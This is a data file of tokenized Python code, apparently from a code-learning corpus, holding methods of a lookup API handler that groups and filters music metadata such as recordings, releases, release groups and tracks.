"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "release", "\\u", "group_", "in_", "recording_", "._", "get_", "(_", "'", "release", "group", "s", "'_", ",_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "release_", "in_", "release", "\\u", "group_", "._", "get_", "(_", "'", "release", "s", "'_", ",_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "medium_", "in_", "release_", "._", "get_", "(_", "'", "medium", "s", "'_", ",_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "track_", "in_", "medium_", "[_", "'", "tracks", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "'", "title", "'_", "in_", "track_", "and_", "track_", "[_", "'", "title", "'_", "]_", "==_", "recording_", "._", "get_", "(_", "'", "title", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "del_", "track_", "[_", "'", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "artist", "s", "'_", "in_", "release", "\\u", "group_", "and_", "release", "\\u", "group_", "[_", "'", "artist", "s", "'_", "]_", "==_", "recording_", "._", "get_", "(_", "'", "artist", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release", "\\u", "group_", "[_", "'", "artist", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "release", "s", "'_", "in_", "meta_", "or_", "'", "release", "ids", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "inject", "\\u", "release", "s", "\\u", "internal_", "(_", "meta_", ",_", "recording_", ",_", "record", "ing", "\\u", "metadata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "compress", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "release_", "in_", "recording_", "._", "get_", "(_", "'", "release", "s", "'_", ",_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "medium_", "in_", "release_", "._", "get_", "(_", "'", "medium", "s", "'_", ",_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "track_", "in_", "medium_", "[_", "'", "tracks", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "'", "title", "'_", "in_", "track_", "and_", "track_", "[_", "'", "title", "'_", "]_", "==_", "recording_", "._", "get_", "(_", "'", "title", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "track_", "[_", "'", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "artist", "s", "'_", "in_", "release_", "and_", "release_", "[_", "'", "artist", "s", "'_", "]_", "==_", "recording_", "._", "get_", "(_", "'", "artist", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release_", "[_", "'", "artist", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "record", "ing", "\\u", "el_", "in_", "record", "ing", "\\u", "els_", "[_", "recording_", "[_", "'", "id", "'_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "userm", "eta", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "isinstance_", "(_", "recording_", "[_", "'", "id", "'_", "]_", ",_", "int_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "recording_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "title", "'_", "in_", "recording_", "and_", "not_", "recording_", "[_", "'", "title", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "recording_", "[_", "'", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "release", "group", "s", "'_", "in_", "recording_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "release", "groups_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "release", "group_", "in_", "recording_", "[_", "'", "release", "group", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release", "group_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "title", "'_", "in_", "release", "group_", "and_", "not_", "release", "group_", "[_", "'", "title", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release", "group_", "[_", "'", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "release", "s", "'_", "in_", "release", "group_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "releases_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "release_", "in_", "release", "group_", "[_", "'", "release", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "del_", "release_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "title", "'_", "in_", "release_", "and_", "not_", "release_", "[_", "'", "title", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "del_", "release_", "[_", "'", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "release_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "releases_", "._", "append_", "(_", "release_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "releases_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "release", "group_", "[_", "'", "release", "s", "'_", "]_", "=_", "releases_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "del_", "release", "group_", "[_", "'", "release", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "release", "group_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "release", "groups_", "._", "append_", "(_", "release", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "release", "groups_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recording_", "[_", "'", "release", "group", "s", "'_", "]_", "=_", "release", "groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "recording_", "[_", "'", "release", "group", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "release", "s", "'_", "in_", "recording_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "releases_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "release_", "in_", "recording_", "[_", "'", "release", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "title", "'_", "in_", "release_", "and_", "not_", "release_", "[_", "'", "title", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "release_", "[_", "'", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "release_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "releases_", "._", "append_", "(_", "release_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "releases_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recording_", "[_", "'", "release", "s", "'_", "]_", "=_", "releases_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "recording_", "[_", "'", "release", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "record", "ing", "\\u", "el_", "._", "update_", "(_", "recording_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inject", "\\u", "releases_", "(_", "self_", ",_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "record", "ing", "\\u", "els_", ",_", "track", "\\u", "mbid", "\\u", "map_", "=_", "self_", "._", "\\u", "inject", "\\u", "record", "ing", "\\u", "ids", "\\u", "internal_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata_", "=_", "look", "up", "\\u", "metadata_", "(_", "self_", "._", "conn_", ",_", "record", "ing", "\\u", "els_", "._", "keys_", "(_", ")_", ",_", "load", "\\u", "releases_", "=_", "True_", ",_", "load", "\\u", "release", "\\u", "groups_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "track", "\\u", "id_", ",_", "track", "\\u", "metadata_", "in_", "self_", "._", "\\u", "group", "\\u", "metadata_", "(_", "metadata_", ",_", "track", "\\u", "mbid", "\\u", "map_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "inject", "\\u", "release", "s", "\\u", "internal_", "(_", "meta_", ",_", "result_", ",_", "track", "\\u", "metadata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "result", "\\u", "el_", "in_", "self_", "._", "el", "\\u", "result_", "[_", "track", "\\u", "id_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result", "\\u", "el_", "._", "update_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inject", "\\u", "release", "\\u", "groups_", "(_", "self_", ",_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "record", "ing", "\\u", "els_", ",_", "track", "\\u", "mbid", "\\u", "map_", "=_", "self_", "._", "\\u", "inject", "\\u", "record", "ing", "\\u", "ids", "\\u", "internal_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata_", "=_", "look", "up", "\\u", "metadata_", "(_", "self_", "._", "conn_", ",_", "record", "ing", "\\u", "els_", "._", "keys_", "(_", ")_", ",_", "load", "\\u", "releases_", "=_", "True_", ",_", "load", "\\u", "release", "\\u", "groups_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "track", "\\u", "id_", ",_", "track", "\\u", "metadata_", "in_", "self_", "._", "\\u", "group", "\\u", "metadata_", "(_", "metadata_", ",_", "track", "\\u", "mbid", "\\u", "map_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "inject", "\\u", "release", "\\u", "group", "s", "\\u", "internal_", "(_", "meta_", ",_", "result_", ",_", "track", "\\u", "metadata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "result", "\\u", "el_", "in_", "self_", "._", "el", "\\u", "result_", "[_", "track", "\\u", "id_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result", "\\u", "el_", "._", "update_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "group", "\\u", "metadata_", "(_", "self_", ",_", "metadata_", ",_", "track", "\\u", "mbid", "\\u", "map_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "track", "\\u", "id_", ",_", "mbid", "s_", "in_", "track", "\\u", "mbid", "\\u", "map_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mbid", "s_", "=_", "set_", "(_", "mbid", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "[_", "track", "\\u", "id_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "item_", "[_", "'", "record", "ing", "\\u", "id", "'_", "]_", "in_", "mbid", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "results_", "[_", "track", "\\u", "id_", "]_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "results_", "._", "iteritems_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "group", "\\u", "release", "\\u", "groups_", "(_", "self_", ",_", "metadata_", ",_", "only", "\\u", "ids_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "item_", "[_", "'", "release", "\\u", "group", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "id_", "not_", "in_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "[_", "id_", "]_", "=_", "(_", "self_", "._", "extract", "\\u", "release", "\\u", "group_", "(_", "item_", ",_", "only", "\\u", "id_", "=_", "only", "\\u", "ids_", ")_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "[_", "id_", "]_", "[_", "1_", "]_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "results_", "._", "itervalues_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "group", "\\u", "recordings", "_", "(_", "self_", ",_", "metadata_", ",_", "only", "\\u", "ids_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "item_", "[_", "'", "record", "ing", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "id_", "not_", "in_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "[_", "id_", "]_", "=_", "(_", "self_", "._", "extract", "\\u", "recording_", "(_", "item_", ",_", "only", "\\u", "id_", "=_", "only", "\\u", "ids_", ")_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "[_", "id_", "]_", "[_", "1_", "]_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "results_", "._", "itervalues_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "group", "\\u", "releases_", "(_", "self_", ",_", "metadata_", ",_", "only", "\\u", "ids_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "item_", "[_", "'", "release", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "id_", "not_", "in_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "[_", "id_", "]_", "=_", "(_", "self_", "._", "extract", "\\u", "release_", "(_", "item_", ",_", "only", "\\u", "id_", "=_", "only", "\\u", "ids_", ")_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "[_", "id_", "]_", "[_", "1_", "]_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "results_", "._", "itervalues_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "group", "\\u", "tracks_", "(_", "self_", ",_", "metadata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "medium", "\\u", "pos_", "=_", "item_", "[_", "'", "medium", "\\u", "position", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "medium_", "=_", "results_", "._", "get_", "(_", "medium", "\\u", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "medium_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "medium_", "=_", "{_", "'", "position", "'_", ":_", "medium", "\\u", "pos_", ",_", "'", "tracks", "'_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "medium_", "[_", "'", "track", "\\u", "count", "'_", "]_", "=_", "item_", "[_", "'", "medium", "\\u", "track", "\\u", "count", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "item_", "[_", "'", "medium", "\\u", "format", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "medium_", "[_", "'", "format", "'_", "]_", "=_", "item_", "[_", "'", "medium", "\\u", "format", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "item_", "[_", "'", "medium", "\\u", "title", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "medium_", "[_", "'", "title", "'_", "]_", "=_", "item_", "[_", "'", "medium", "\\u", "title", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "[_", "medium", "\\u", "pos_", "]_", "=_", "medium_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "track_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "item_", "[_", "'", "track", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "position", "'_", ":_", "item_", "[_", "'", "track", "\\u", "position", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "item_", "[_", "'", "track", "\\u", "title", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "artist", "s", "'_", ":_", "item_", "[_", "'", "track", "\\u", "artist", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "medium_", "[_", "'", "tracks", "'_", "]_", "._", "append_", "(_", "track_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "results_", "._", "itervalues_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inject", "\\u", "m2_", "(_", "self_", ",_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "el", "\\u", "recording_", "=_", "self_", "._", "\\u", "inject", "\\u", "record", "ing", "\\u", "ids", "\\u", "internal_", "(_", "True_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata_", "=_", "look", "up", "\\u", "metadata_", "(_", "self_", "._", "conn_", ",_", "el", "\\u", "recording_", "._", "keys_", "(_", ")_", ",_", "load", "\\u", "releases_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "record", "ing", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "last", "\\u", "record", "ing", "\\u", "id_", "!=_", "item_", "[_", "'", "record", "ing", "\\u", "id", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "recording_", "=_", "self_", "._", "extract", "\\u", "recording_", "(_", "item_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "record", "ing", "\\u", "id_", "=_", "recording_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "el_", "in_", "el", "\\u", "recording_", "[_", "recording_", "[_", "'", "id", "'_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "item_", "[_", "'", "record", "ing", "\\u", "duration", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "recording_", "[_", "'", "duration", "'_", "]_", "=_", "item_", "[_", "'", "record", "ing", "\\u", "duration", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "recording_", "[_", "'", "tracks", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "el_", "._", "update_", "(_", "recording_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "metadata_", "=_", "sorted_", "(_", "metadata_", ",_", "key_", "=_", "operator_", "._", "itemgetter_", "(_", "'", "record", 